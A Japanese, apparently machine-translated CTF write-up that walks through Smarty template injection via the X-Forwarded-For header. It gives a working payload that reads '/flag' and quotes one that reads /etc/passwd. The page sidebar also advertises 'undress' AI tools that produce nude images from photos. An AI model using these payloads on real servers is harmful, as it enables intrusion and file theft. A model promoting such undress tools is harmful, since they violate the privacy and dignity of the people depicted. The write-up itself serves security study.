目次
タイトルの説明
Smarty SSTI 活用法
脆弱性の確認
一般的な使用法
{literal} タグ
静的メソッド
質問の脆弱性コードはgetshell後にファイルを読み込まれますが、この質問のSSTIを引き起こすコードは以下のように簡略化されています。
ホームページ 運用・保守 安全性 Smarty SSTiの使い方

Smarty SSTiの使い方

May 15, 2023 am 11:37 AM
smarty ssti

タイトルの説明

タイトルには、XFF ヘッダーを読み取るための API が提供されています。ページの下部に Build With Smarty という文字があります。Smarty エンジンで記述されていると判断できます。

基本的には OK このページで SSTi の可能性を判断します

Smarty SSTi怎么用

xff ヘッダーを 127.0.0.1 から 127.0.0{1 2} に変更すると、次の結果が表示されます。

ssti は間違いなく

Smarty SSTi怎么用

最終ペイロードは

XX-Forwarded-For: {if var_dump(file_get_contents(' /flag')) }{/if }

Smarty SSTi怎么用

Smarty SSTI 活用法

Smarty は PHP をベースに開発されています。フラスコの一般的な SSTI とは大きく異なります。

脆弱性の確認

通常、「{$smarty.version}」と入力すると、返された Smarty のバージョン番号を確認できます。このトピックの Smarty バージョンは 3.1.30です。

Smarty SSTi怎么用

一般的な使用法

Smarty は、ラップされたコードを実行するための {php}{/php} タグの使用をサポートしています。 php コマンドを使用する場合、最も一般的な考え方は、最初にタグをテストすることです。ただし、このトピックに関する限り、{php}{/php} タグを使用するとエラーが報告されます:

Smarty SSTi怎么用

Smarty3 の公式マニュアルには次の説明があります:

Smarty は {php} タグを非推奨にしたため、使用しないことを強くお勧めします。 Smarty 3.1 では、{php} は SmartyBC でのみ使用できます。

この質問では Smarty クラスを使用しているため、別の方法を見つけるしかありません。

{literal} タグ

公式マニュアルではこのタグについて次のように説明されています。

{literal} はテンプレート領域の文字をそのまま出力します。これは、ページ上の Javascript または CSS スタイルシートが Smarty 区切り文字によって誤って解析されないように保護するためによく使用されます。

次に、php5 環境の場合、

<script language="php">phpinfo();</script>
ログイン後にコピー

を使用して PHP コードの実行を実装できますが、この質問の質問環境は PHP7 であるため、この方法は無効です。

静的メソッド

Smarty クラスを self 経由で取得し、その静的メソッドを呼び出してファイルを読み書きする方法は、インターネット上の多くの記事で採用されています。

Smarty クラスの getStreamVariable メソッドのコードは次のとおりです。

public function getStreamVariable($variable)
{
       $_result = '';
       $fp = fopen($variable, 'r+');
       if ($fp) {
           while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
               $_result .= $current_line;
          }
           fclose($fp);
           return $_result;
      }
       $smarty = isset($this->smarty) ? $this->smarty : $this;
       if ($smarty->error_unassigned) {
           throw new SmartyException('Undefined stream variable "' . $variable . '"');
      } else {
           return null;
      }
  }
ログイン後にコピー

このメソッドはファイルを読み取り、その内容を返すことができるため、self を使用してファイルを取得できることがわかります。 Smarty オブジェクトを作成してこのメ​​ソッドを呼び出すと、多くの記事で指定されているペイロードの形式は {self::getStreamVariable("file:///etc/passwd")} になります。ただし、このペイロードを使用すると、次のエラーが発生します:

致命的エラー: キャッチされません --> Smarty コンパイラ: テンプレート "string: 現在の IP:{self::getStreamVariable('file:///etc/passwd')}" 静的クラス 'self' は未定義であるか、セキュリティ設定によって許可されていません <-- /var/www/html/ にスローされますSmarty/libs/sysplugins/smarty_internal_templatecompilerbase.php 12 行目

この古いバージョンの Smarty の SSTI 利用方法は、新しいバージョンの Smarty には適用できないことがわかります。さらに、この静的メソッドは Smarty バージョン 3.1.30 で正式に削除されました。これらの記事でシェルを作成するために言及されている Smarty_Internal_Write_File クラスの writeFile メソッドは、同じ理由で使用できません。

{if} タグ

公式ドキュメントで次の説明を見ました:

Smarty の {if}条件付き判断と PHP の if is非常によく似ていますが、いくつかの機能が追加されているだけです。各 {if} には、一致する {/if} が必要です。{else}{elseif} も使用できます。すべて||、or、&&、is_array() などの PHP の条件式や関数が if 内で使用できます。

PHP の関数はすべて使用できるので、これを使用して実行してみてはいかがでしょうか私たちのコード?

冒頭で述べたように

質問の脆弱性コードはgetshell後にファイルを読み込まれますが、この質問のSSTIを引き起こすコードは以下のように簡略化されています。

display("string:".$ip);
}

Smarty テンプレートの代わりに文字列が使用されていることがわかります。これにより、挿入された Smarty タグが直接解析されて実行され、SSTI が発生します。

以上がSmarty SSTiの使い方の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

PHP は SSTI 攻撃をどのように防ぐのでしょうか? PHP は SSTI 攻撃をどのように防ぐのでしょうか? Jun 30, 2023 am 09:36 AM

PHP を使用して Server-SideTemplateInjection (SSTI) 攻撃を防御する方法 はじめに: Server-SideTemplateInjection (SSTI) は、一般的な Web アプリケーションのセキュリティ脆弱性であり、攻撃者は悪意のあるコードをテンプレート エンジンに挿入することで、サーバーに任意のコードを実行させることができます。重大な安全上の危険を引き起こします。 PHP アプリケーションでは、ユーザー入力が正しく処理されない場合に SST が公開される可能性があります

PHP と Smarty を使用してフロントエンドとバックエンドの分離開発を実現する方法 PHP と Smarty を使用してフロントエンドとバックエンドの分離開発を実現する方法 Jun 25, 2023 pm 01:46 PM

現代の Web 開発では、フロントエンドとバックエンドの分離が非常に一般的な傾向になっており、これにより開発者はプロジェクトをより適切に組織し、プロジェクト開発の効率を向上させることができます。 PHP と Smarty は非常によく使用される 2 つのテクノロジであり、フロントエンドとバックエンドの分離開発を実現するために使用できます。この記事では、PHPとSmartyを使ってフロントエンドとバックエンドの分離開発を実現する方法を紹介します。フロントエンドとバックエンドの分離開発とは何ですか? 従来の Web 開発では、フロントエンドは主にページのプレゼンテーションとバックエンドとの対話ロジックを担当します。バックエンドは主にビジネスを担当します

PHP のテンプレート エンジン Smarty に関する予備調査 PHP のテンプレート エンジン Smarty に関する予備調査 May 11, 2023 pm 05:15 PM

現在、Web サイト開発は重要なコンポーネント テンプレート エンジンから切り離せません。テンプレート エンジンとは、ページ テンプレートとデータを組み合わせて特定の形式の HTML コードを生成するツールを指します。テンプレート エンジンはコードの重複を大幅に削減し、ページのダイナミクスを向上させることができるため、さまざまな Web サイト開発フレームワークにおいて、テンプレート エンジンは不可欠なコンポーネントです。最も一般的で人気のあるテンプレート エンジンの 1 つは Smarty です。 Smarty は DSL (DomainSpecif

PHP開発でSmartyテンプレートエンジンを使用する方法 PHP開発でSmartyテンプレートエンジンを使用する方法 Jun 27, 2023 pm 01:28 PM

PHP 開発者として、テンプレート エンジンを使用するのは自然な選択です。 Smarty は、HTML/CSS/JavaScript を PHP コードから分離する方法を提供する人気のテンプレート エンジンで、開発者がプロ​​ジェクトをより適切に整理および管理できるようにします。この記事では、PHP 開発中に Smarty テンプレート エンジンを使用する方法を学びます。 1. Smarty をインストールする 前に、Smarty をインストールする必要があります。この記事では、Composer を使用してインストールします

PHP と Smarty テンプレート エンジンの使用方法 PHP と Smarty テンプレート エンジンの使用方法 May 11, 2023 pm 03:33 PM

PHP は、Web アプリケーションの開発に使用できる強力なサーバー側スクリプト言語です。 Web 開発の初期の頃、プログラマーは Web アプリケーションを開発するために大量の HTML および JavaScript コードを使用しました。ただし、HTML および JavaScript コードが非常に複雑になる可能性があるため、このアプローチは維持および管理が困難です。この問題を解決するために、Smarty テンプレート エンジンが作成されました。 Smarty は、PHP をベースに開発された、W を管理および生成するためのテンプレート エンジンです。

テンプレートエンジンSmartyのPHP開発への応用 テンプレートエンジンSmartyのPHP開発への応用 Jun 14, 2023 pm 02:02 PM

インターネットの急速な発展とアップグレードに伴い、PHP は Web アプリケーション開発で広く使用されるプログラミング言語として、徐々に業界で非常に人気のあるプログラミング言語になりました。ただし、PHP 開発プロセスでは、従来のコード実装方法ではコードの可読性や保守性が低下することがよくあります。このとき、効率的なテンプレート エンジンが解決策の 1 つになります。数あるテンプレート エンジンの中でも、Smarty はその強力な機能と優れたパフォーマンスにより、PHP 開発者の間で人気の選択肢となっています。この記事では詳しく説明します

CakePHP で Smarty を使用するにはどうすればよいですか? CakePHP で Smarty を使用するにはどうすればよいですか? Jun 03, 2023 pm 03:10 PM

CakePHP は、Web アプリケーション開発を加速するための豊富な機能とツールを提供するオープンソースの PHP フレームワークです。強力な機能の 1 つはテンプレート エンジンです。デフォルトでは、CakePHP はビューのレンダリングに PHP のネイティブ構文を使用します。ただし、Smarty などの別のテンプレート エンジンを使用したい場合もあります。この記事ではCakePHPでSmartyを使う方法を紹介します。 1. スマーティとは何ですか? Smarty は、テンプレートベースの PHP フレームワークです。

thinkphp と Smarty とは何ですか thinkphp と Smarty とは何ですか Jun 14, 2022 pm 05:56 PM

thinkphp は、エンタープライズ アプリケーション開発とアジャイル WEB アプリケーション開発を簡素化するために使用されるオープン ソースの軽量 PHP フレームワークであり、開発者は ThinkPHP を使用することで、アプリケーションをより便利かつ迅速に開発および展開できます。 Smarty は、開発者がプロ​​グラム ロジックとページ表示を分離 (ビジネス ロジックと表示ロジックの分離) するのに役立つ PHP テンプレート エンジンで、プログラマーはフロントエンド スタッフのページ デザインに影響を与えることなくプログラムのロジック コンテンツを変更できます。フロントエンドスタッフはページを再変更できますが、プログラムのプログラムロジックには影響しません。

See all articles